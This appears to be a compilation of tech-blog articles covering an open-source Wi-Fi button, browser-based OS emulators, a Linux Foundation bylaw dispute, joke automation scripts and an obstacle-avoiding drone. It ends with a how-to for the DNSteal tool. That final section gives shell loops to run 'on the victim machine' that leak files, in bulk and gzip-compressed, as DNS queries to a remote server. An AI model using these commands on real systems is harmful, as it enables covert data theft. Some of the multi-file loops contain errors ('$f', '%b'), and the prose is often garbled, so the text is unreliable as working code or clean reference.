1BTN: A Powerful, Open Source, And Hackable Button To "Control The Internet"

Gou might be knowing about Amazon’s Dash that re-reorders household supplies with just a click. While it has limited functionality, the open source 1btn is capable to things a whole lot more range of things.


It’s an open source Wi-Fi button that remains connected to the internet and help you execute your tasks by creating shortcuts. The device performs the assigned tasks, tells you the results with the help of its colorful LEDs and goes back to sleep.


This operates on an easy-to-use web-based interface. As soon as your turn on this device, it creates a Wi-Fi hotspot. All you need to do is connect a device to this hotspot, fire up a web browser, and direct it to 1btn’s inbuilt web server.

Using the internet, 1btn allows your to send an e-mail, tweet, text message and more. The device uses out-of-the-box service Twilio to perform many tasks. You can also set up URL-based actions like calling an Uber or controlled your home’s temperature.

If you are willing to use it for more complex projects, IFTTT and other APIs have got your covered.

Hacking made easier with open source 1btn

This device comprises of fully open source hardware and software. This allows you to hack and customize it according to your needs. Unlike other IoT buttons, 1btn doesn’t need any smartphone app.

Talking about the power, it has hs a rechargeable battery that can be used for up to 3 tasks. Instead of establishing a continuous Wi-Fi connection, it only turns on its radio when you press 1btn to perform some task.

Find more about 1btn here.

Run Windows 98, Linux, KolibriOS inside your web browser using javaScript And NodeJS

With time, JavaScript engines have grown to become faster and more powerful than ever. Demonstrating the same, a coder has created an online program that emulates x86-compatible CPU and hardware. Using the same, you can run Windows 98 right now in your browser.

The coder writes on his project’s page on GitHub that he decided to work on this as a fun project and learn more about x86 architecture. With some more work, he got Linux and KolibriOS working to make this more usable. Running on top of an x86-emulator in JavaScript, the OS is fast enough to open the programs in your browser.

Apart from a smooth performance of Windows 98 — yes, you are allowed to play a quick game of Minesweeper — Linux works pretty well. Talking about KolibriOS, this graphical OS runs well and takes about 60 seconds to boot. Windows 1.01, FreeDOS, Arch Linux, and Solar OS are also on the menu.

Before you go ahead and run the emulations via following links, here’s a note: Don’t forget to lock the mouse using the lock mouse button at the top.

• Windows 98
• Linux 3
• KolibriOS
• FreeDOS
• Windows 1.01
• Archlinux (possibly unstable

Why Is Linux Foundation’s Latest Change,A Bad News For Linux And Open Source?

The Linux Foundation was created as a non-profit technology organization to protect, promote, and advance Linux development and collaboration. The Linux Foundation sponsors the work of Linux founder Linus Torvalds and supports the open source technologies. While the organization works hard to ensure that Linux gets enough recognition, it is fueled by the work and support of its community.

A recent change in the way Linux Foundation elects its representatives has sparked a controversy in the Linux and open source community. Before telling you about the change in representation that was uncovered by Mattew Garrett, a kernel contributor and social activist, I’ll be telling you how Linux Foundation’s board was chosen just a week ago.

Up until how were Linux Foundation board members elected?

10 by platinum members (platinum membership costs $500,000 a year), 3 by gold members (gold membership costs $100,000 a year), 1 by silver members (silver membership costs between $5,000 and $20,000 a year, depending on company size), and 2 by individual members (individual membership costs $99 a year)

The Linux Foundation, understandably, needs funds from platinum, gold, and silver members to operate and work in order to propagate Linux and the open source philosophy. Additionally, the election of two board members by individual members helped to bring in the community perspectives into the decision-making at the board level.

Change in the community representation in Linux Foundation board

Matthew Garrett noticed a big change in the community representation this Friday. Organization’s by-laws were amended to erase the provision of the selection of 2 board members by individual members. The new version of by-laws states that no affiliate member may be involved in the election of directors. Read the older version here and compare.

This change is also reflected in the definition of affiliate members and advantages provided to them. Known as “Individual Membership” until last year, it gave you “the ability to run for and vote for a Linux Foundation board seat and influence the direction of the foundation”. The plan has been revised to bring a weaker position called “Individual Supporter“, taking away the voting rights of individual members.




                                               The erased clause in by-laws

Coincidently, everything happened after Karen Sandler — executive director of Software Freedom Conservancy, an organization working for GPL enforcement — announced her plan to stand for the Linux Foundation board membership. Notably, the Linux Foundation hasn’t shown much excitement about GPL enforcement in the past and the SFC is itself funding a lawsuit against one member of Foundation for violating GPL terms.

This could be one of those just-a-coincidence incidents, but it seems that the Linux Foundation doesn’t like the community representation anymore in its board. This step also raises questions on Foundation and its love for corporates.

This negative step ignores the Linux community that performs an important task of writing parts of Linux kernel and promoting it. I wonder what Linus Torvalds has to say about this issue.

A Hacking Scripts,Which Secretly Automate A Lot Of His Job

There's a hilarious project that's popular on GitHub, the website that hosts all kinds of software that programmers want to share with each other.

The project was shared by a programmer named Nihad Abbasov, known as "Narkoz" on GitHub. It consists of a bunch of software scripts with some funny but NSFW names. Narkoz says that the scripts came from one of his coworkers who left for another company, the type of guy that "if something - anything - requires more than 90 seconds of his time, he writes a script to automate that."

smack-my-bitch-up.sh - sends a text message "late at work" to his wife (apparently). Automatically picks reasons from an array of strings, randomly. Runs inside a cron-job. The job fires if there are active SSH-sessions on the server after 9pm with his login.

kumar-asshole.sh - scans the inbox for emails from "Kumar" (a DBA at our clients). Looks for keywords like "help", "trouble", "sorry" etc. If keywords are found - the script SSHes into the clients server and rolls back the staging database to the latest backup. Then sends a reply "no worries mate, be careful next time".

hangover.sh - another cron-job that is set to specific dates. Sends automated emails like "not feeling well/gonna work from home" etc. Adds a random "reason" from another predefined array of strings. Fires if there are no interactive sessions on the server at 8:45am.

fucking-coffee.sh - this one waits exactly 17 seconds (!), then opens an SSH session to our coffee-machine (we had no frikin idea the coffee machine is on the network, runs linux and has SSHD up and running) and sends some weird gibberish to it. Looks binary. Turns out this thing starts brewing a mid-sized half-caf latte and waits another 24 (!) seconds before pouring it into a cup. The timing is exactly how long it takes to walk to the machine from the dudes desk.

An Autonomous Flying Drone at 30mph, That Can Avoid Obstacles.

Everyone is building drones, from search giant Google, to social network Facebook and retail giant Amazon. They’re all testing drones that can improve their businesses. While Facebook & Google are building drones to improve internet coverage, especially in remote areas where internet availability is very low, Amazon wants to build a drone that can deliver goods to customers.

A ”Researcher at the Massachusetts Institute of Technology’s Computer Science and Artificial Intelligence Lab have developed a drone that can ‘self-fly’ at speed of up to 30 miles per hour.This drone is a step ahead of other drones.

Back in June, the U.S. FAA-(Federal Aviation Administration) said they will finalize rules regarding the use of drones & safety of people by end of June next year. Regulators wants to avoid drone accidents that could harm a person, or a private property.

So Now, Andrew Barry has developed a software that helps drones to avoid obstacles & fly safely.This "self-fly" feature is dependent on the software.

It’s like a Google’s driverless car. This Self-Fly drone builds map of surroundings in real-time and avoid obstacles through a computer algorithm. Barry claims the new self-flying drone’s software is 20 times faster now, and its mapping tech can extract information at a speed of 8.3 milliseconds per frame, at 120 frames per second.

This project is Open-Source and its code are available online at Github.

You can watch the video below demonstrating how the drone avoid obstacles.

The main aim of this drones is to fly without hitting a wall trees and any other obstacles, while maintaining the pace.

Here’s how his drone works. It's drone algorithms that concentrates on ‘self-avoiding’ obstacles that would use pictures captured by cameras and search through the depth-field at multiple distances like one or two meters. This algorithm determines if an object is in drone’s way.

According to the MIT researcher, these algorithms are computationally  intensive, and limits the speed of the drone without specialized processing hardware. He realized that the world simply doesn’t change much between frames, so his software is computing just a small subset of measurements  just 10 meters away.

Barry says, “As you fly, you push that 10-meter horizon forward, and, as long as your first 10 meters are clear, you can build a full map of the world around you.”

While the project is still under development and many more features will come in near future.

The algorithm was tested using a drone with off-the-rack parts costing about $1,700.

How To Send Files Stealthily To A Remote Machine Using "DNSteal"

Data exfiltration is sometimes referred to as data extrusion, data exportation, or data theft. All of these terms are used to describe the unauthorized transfer of data from a computer or other device.

Data exfiltration can be conducted manually, by an individual with physical access to a computer, but it can also be an automated process conducted through malicious programming over a network.

Generally, data exfiltration is a form of a security breach that occurs when data is downloaded or uploaded from a computer or server without authorization.These attacks are primarily intented so as to gain access to a network or machine's data.

Data exfiltration can be done using various method such as  by installing remote applications , removable media device , social engineering techniques or phishing emails.
But a new type of data exfiltration tool named "DNSteal" is released which is programmed to send files over to a remote machine via dns request.

DNSteal is a Data Exfiltration Tool that works  stealthily for sending files over DNS requests. Once install and run it acts as a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests.

Dnsteal code is available on GitHub.

Here's an example on how to use this tool

Usage:

On the victim machine, you simply send the following command:


for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done


Support for multiple files


for filename in $(ls); do for b in $(xxd -p $f); do dig +short @server %b.$filename.com; done; done



It also supports gzip compression of the file to allow for faster transfer speeds, this can be achieved using the "-z" switch:

python dnsteal.py 127.0.0.1 -z


Then on the victim machine send a Gzipped file like so:

for b in $(gzip -c file/to/send.png | xxd -p); do dig @server $b.filename.com; done


or for multiple, gzip compressed files:

for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @server %b.$filename.com; done; done